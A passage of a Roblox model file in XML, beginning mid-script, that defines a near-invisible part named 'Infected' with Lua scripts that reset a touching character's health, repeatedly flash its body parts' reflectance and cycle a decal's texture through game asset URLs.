part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(2)

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(1)


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


	end
	end

end

script.Parent.Touched:connect(onTouched)
</string>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX107">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">37uaea2t</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="StockSound" referent="RBX108">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">eyhz</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX109">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>-7.20000029</X>
					<Y>9.60000038</Y>
					<Z>27</Z>
					<R00>-0</R00>
					<R01>-1</R01>
					<R02>-0</R02>
					<R10>-1</R10>
					<R11>-0</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>-0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Infected</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">9</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>4</X>
					<Y>0.400000006</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="Script" referent="RBX110">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<string name="Source">w=.03
d=script.Parent.Decal
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX111">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">udcr5c0u3</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX112">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<string name="Source">w=.03
d=script.Parent.Decal2
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX113">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">iyfy2r</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Decal" referent="RBX114">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX115">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">9sim</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Decal" referent="RBX116">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal2</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX117">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">ejg7aef</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="BlockMesh" referent="RBX118">
				<Properties>
					<float name="Bevel">0</float>
					<float name="Bevel Roundness">0</float>
					<float name="Bulge">0</float>
					<token name="LODX">2</token>
					<token name="LODY">2</token>
					<string name="Name">Mesh</string>
					<Vector3 name="Offset">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<Vector3 name="Scale">
						<X>1</X>
						<Y>0</Y>
						<Z>5</Z>
					</Vector3>
					<Vector3 name="VertexColor">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX119">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">vh4np</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX120">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<string name="Source">function stick(x, y)
	weld = Instance.new(&quot;Weld&quot;) 

	weld.Part0 = x
	weld.Part1 = y

	local HitPos = x.Position

	local CJ = CFrame.new(HitPos) 
	local C0 = x.CFrame:inverse() *CJ 
	local C1 = y.CFrame:inverse() * CJ 

	weld.C0 = C0 
	weld.C1 = C1 
	
	weld.Parent = x
end

function onTouched(part)
	local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
	if h~=nil then
wait(0.001)h.Health = 100
children = h.Parent:children()

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(2)

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(1)


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

